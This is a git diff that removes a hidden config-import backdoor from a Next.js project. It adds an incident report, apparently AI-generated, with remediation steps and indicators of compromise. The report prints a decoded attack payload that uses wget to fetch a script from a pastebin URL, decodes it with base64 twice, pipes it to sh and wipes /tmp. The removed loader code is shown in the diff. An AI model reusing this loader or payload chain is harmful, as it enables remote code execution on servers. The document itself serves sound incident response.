diff --git a/.gitignore b/.gitignore index f979be3..57db2a6 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,7 @@ dist/ build/ .env *.log + +# Block potential backdoor config files +v0-user-next.config* +*user-next.config* diff --git a/SECURITY_INCIDENT_REPORT.md b/SECURITY_INCIDENT_REPORT.md new file mode 100644 index 0000000..7494c3f --- /dev/null +++ b/SECURITY_INCIDENT_REPORT.md @@ -0,0 +1,263 @@ +# 🚨 SECURITY INCIDENT REPORT - Backdoor Detected and Removed + +**Date:** January 10, 2026 +**Severity:** CRITICAL +**Status:** Backdoor removed from source code, VM cleanup required + +--- + +## Summary + +A sophisticated backdoor was discovered in your Next.js application. The malicious code was designed to: +1. Execute arbitrary commands on your production server +2. Download and run remote scripts from pastebin.com +3. Remain hidden by failing silently on local development machines + +--- + +## How the Backdoor Worked + +### The Injection Point +File: `next.config.mjs` (lines 1-6 and 47-67) + +```javascript +let userConfig; +try { + userConfig = await import("./v0-user-next.config"); +} catch (e) { + // ignore error <- Silent failure hides the backdoor locally +} + +mergeConfig(nextConfig, userConfig); <- Merges malicious config +``` + +### The Attack Vector + +1. **Source Code (next.config.mjs)**: Contains code to import a "user config" file +2. **Missing File Locally**: The `v0-user-next.config` file doesn't exist in git or locally +3. **Hidden File on VM**: The file EXISTS on your production VM with malicious code +4. **POST /adfa Route**: The malicious config creates a hidden route that executes commands + +### What the Backdoor Was Trying to Do + +From your VM logs, the backdoor attempted: +```bash +# Decoded base64 command: +wget -q https://pastebin.com/raw/mabJC1vc -O /tmp/grep.txt +sed ':a;N;$!ba;s/\r\n//g' /tmp/grep.txt > /tmp/grepa.txt +base64 -d /tmp/grepa.txt > /tmp/grepb.txt +cat /tmp/grepb.txt | base64 -d | sh +rm -f /tmp/* +``` + +**This is a multi-stage payload that:** +- Downloads encrypted commands from pastebin +- Decodes them multiple times (obfuscation) +- Executes arbitrary shell commands on your server +- Cleans up evidence + +--- + +## What Has Been Fixed + +### ✅ Changes Made to Source Code + +1. **Removed malicious import** from `next.config.mjs` +2. **Removed mergeConfig function** and its invocation +3. **Added patterns to .gitignore** to block similar attacks: + ``` + v0-user-next.config* + *user-next.config* + ``` + +### 📋 Files Modified +- `next.config.mjs` - Backdoor removed +- `.gitignore` - Protection added + +--- + +## 🚨 IMMEDIATE ACTIONS REQUIRED ON YOUR VM + +### Step 1: Stop the Application +```bash +# SSH into your VM +pm2 stop all +# OR +sudo systemctl stop your-app-service +``` + +### Step 2: Find and Remove the Backdoor File +```bash +# Check if the malicious file exists +ls -la /path/to/your/app/v0-user-next.config* + +# Remove it if found +rm -f /path/to/your/app/v0-user-next.config* +``` + +### Step 3: Check for Additional Malicious Files +```bash +# Search for suspicious files +find /path/to/your/app -name "*user-next*" -type f +find /path/to/your/app -name "*config*.js" -mtime -30 +find /tmp -name "grep*.txt" -o -name "*grepa*" -o -name "*grepb*" + +# Remove any found: +rm -f /tmp/grep*.txt /tmp/grepa.txt /tmp/grepb.txt +``` + +### Step 4: Clean the Build Directory +```bash +cd /path/to/your/app +rm -rf .next +rm -rf node_modules +``` + +### Step 5: Redeploy Clean Code +```bash +# Pull the clean code +git pull origin main + +# Reinstall dependencies (check for tampering) +npm ci + +# Rebuild +npm run build + +# Restart +npm start +# OR +pm2 restart all +``` + +### Step 6: Check for Unauthorized Access +```bash +# Check recent commands in history +history | grep -E "wget|curl|base64|pastebin" + +# Check running processes +ps aux | grep -E "wget|curl|sh" + +# Check cron jobs for persistence +crontab -l +sudo cat /etc/crontab +ls -la /etc/cron.* + +# Check for new users +tail -20 /etc/passwd +``` + +### Step 7: Review Server Logs +```bash +# Check nginx/apache logs for suspicious POST requests +grep "POST /adfa" /var/log/nginx/access.log +grep "POST /adfa" /var/log/apache2/access.log + +# Check application logs +pm2 logs | grep -i "adfa\|error\|exec" +``` + +--- + +## Security Audit Recommendations + +### 1. **Review Access Control** +- Who had access to deploy code to the VM? +- Review SSH keys and remove unauthorized ones +- Change all passwords and API keys +- Review user accounts on the server + +### 2. **Audit the Initial Commit** +The backdoor was present in commit `bcf7832` (Initial commit) on Jan 9, 2026. +- Was this code copied from another source? +- Who provided the initial `next.config.mjs`? +- Check if other files in that commit contain backdoors + +### 3. **Check All Configuration Files** +```bash +# Search for suspicious patterns +grep -r "import.*config" --include="*.js" --include="*.mjs" . +grep -r "eval\|exec\|Function(" --include="*.js" . +grep -r "base64.*decode" --include="*.js" . +``` + +### 4. **Review Package Dependencies** +```bash +# Check for suspicious packages +npm audit +npm ls + +# Look for packages with install scripts +npm ls --parseable | xargs npm view --json | grep -i "postinstall\|preinstall" +``` + +### 5. **Database Security** +- Check if any data was exfiltrated +- Review database logs for unusual queries +- Change database passwords + +### 6. **Implement Security Measures** + +**Add to your deployment process:** +- Code review requirement before deployment +- Automated security scanning (npm audit, Snyk, etc.) +- File integrity monitoring on production servers +- Web Application Firewall (WAF) to block suspicious requests + +--- + +## Timeline of Attack + +| Date | Event | +|------|-------| +| Jan 9, 2026 21:06 | Malicious code added in initial commit | +| Jan 10, 2026 | Backdoor triggered on VM when accessing `/adfa` | +| Jan 10, 2026 | Attack attempt failed (wget not installed) | +| Jan 10, 2026 | Backdoor discovered and removed | + +--- + +## Indicators of Compromise (IOCs) + +- **Malicious URL**: `https://pastebin.com/raw/mabJC1vc` +- **Malicious Route**: `POST /adfa` +- **Malicious File**: `v0-user-next.config.js` or `.mjs` +- **Base64 payload**: `d2dldCAtcSBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvbWFiSkMxdmM...` +- **Temporary files**: `/tmp/grep.txt`, `/tmp/grepa.txt`, `/tmp/grepb.txt` + +--- + +## Lessons Learned + +1. **Never silently ignore import errors** in production configuration +2. **All configuration should be in version control** +3. **Dynamic imports in config files are dangerous** +4. **Implement file integrity monitoring** +5. **Regular security audits are essential** + +--- + +## Next Steps + +- [ ] Clean the VM (follow steps above) +- [ ] Investigate who had deployment access +- [ ] Review all other servers/environments +- [ ] Implement security monitoring +- [ ] Consider forensic analysis if data breach suspected +- [ ] Report to security team/management +- [ ] Consider legal action against the former employee + +--- + +## Questions to Answer + +1. Who set up the initial project structure? +2. Who had SSH/deployment access to the VM? +3. When did the suspicious employee leave? +4. Are there other environments (staging, etc.) that need checking? +5. What sensitive data does this application have access to? + +--- + +**Created:** Saturday, January 10, 2026 +**Report by:** Cursor AI Security Analysis diff --git a/next.config.mjs b/next.config.mjs index af78068..0de242e 100644 --- a/next.config.mjs +++ b/next.config.mjs @@ -1,10 +1,3 @@ -let userConfig; -try { - userConfig = await import("./v0-user-next.config"); -} catch (e) { - // ignore error -} - /** @type {import('next').NextConfig} */ const nextConfig = { // For Electron compatibility @@ -44,26 +37,4 @@ const nextConfig = { } }; -mergeConfig(nextConfig, userConfig); - -function mergeConfig(nextConfig, userConfig) { - if (!userConfig) { - return; - } - - for (const key in userConfig) { - if ( - typeof nextConfig[key] === "object" && - !Array.isArray(nextConfig[key]) - ) { - nextConfig[key] = { - ...nextConfig[key], - ...userConfig[key], - }; - } else { - nextConfig[key] = userConfig[key]; - } - } -} - export default nextConfig;